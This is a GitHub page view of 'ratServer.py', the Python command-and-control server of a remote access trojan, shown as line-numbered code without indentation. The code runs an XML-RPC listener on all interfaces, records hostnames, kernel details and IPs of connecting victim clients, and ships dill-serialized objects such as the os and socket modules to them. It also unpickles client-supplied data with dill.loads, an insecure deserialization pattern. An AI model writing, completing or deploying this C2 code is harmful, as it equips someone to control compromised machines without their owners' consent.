/
ratServer.py
96 lines (75 loc) · 3.03 KB
/
ratServer.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
#!/usr/local/bin/python3
from xmlrpc import server, client
import socket
import dill
import os
import platform
import cmd
# server_ip = socket.gethostbyname(socket.gethostname())
server_ip = "0.0.0.0"
server_port = 4000
def convert_to(obj):
return client.Binary(dill.dumps(obj))
def convert_from(obj):
return dill.loads(obj.data)
def get_system_information():
kernel_info = platform.uname()
ip_address = socket.gethostbyname(kernel_info.node)
result = [kernel_info, ip_address]
return result
class RatCLI(cmd.Cmd):
intro = "Welcome to Rat.\n Type 'help' for more information"
prompt = "RAT-> # "
def do_start_server(self, arg):
'Start the RAT server'
rat = RatServer()
rat.rat_server.register_function(rat.register_client, 'register_client')
rat.rat_server.register_function(rat.create_client_server, 'create_client_server')
rat.rat_server.register_function(rat.send_required_libraries, 'rcv_req_libs')
rat.rat_server.register_function(rat.sys_info, 'sys_info')
rat.rat_server.serve_forever()
def do_exit(self, arg):
'Exit the program'
print("Exiting...")
return True
class Connected_client():
def __init__(self, hostname, kernel_info, ip_address):
self.hostname = hostname
self.kernel_info = kernel_info
self.ip_address = ip_address
class RatServer:
'''
The ratServer class. Hosts all the remote functions that a client can access.
'''
def __init__(self, server_ip=server_ip, server_port=server_port):
'''
Initializes the ratServer. Starts up and listens forever.
:param server_ip: The IP of the server. Use "0.0.0.0" to listen on all ports
:param server_port: The port of the server. Default is 4000
'''
self.rat_server = server.SimpleXMLRPCServer((server_ip, server_port),
allow_none=True)
self.list_of_clients = []
def register_client(self, system_info):
rat_client_system = convert_from(system_info)
self.list_of_clients.append(Connected_client(hostname=rat_client_system[0].node,
kernel_info=rat_client_system[0],
ip_address=rat_client_system[1]))
print("Added {} to the list of clients".format(rat_client_system[0]))
for clients in self.list_of_clients:
print("###################")
print(clients.hostname)
for item in clients.kernel_info:
print(item)
print(clients.ip_address)
print("###################")
def create_client_server(self):
server_package = (server, RatServer)
return convert_to(server_package)
def send_required_libraries(self):
req_libraries = (os, socket, platform)
return convert_to(req_libraries)
def sys_info(self):
return convert_to(get_system_information)
if __name__ == '__main__':
RatCLI().cmdloop()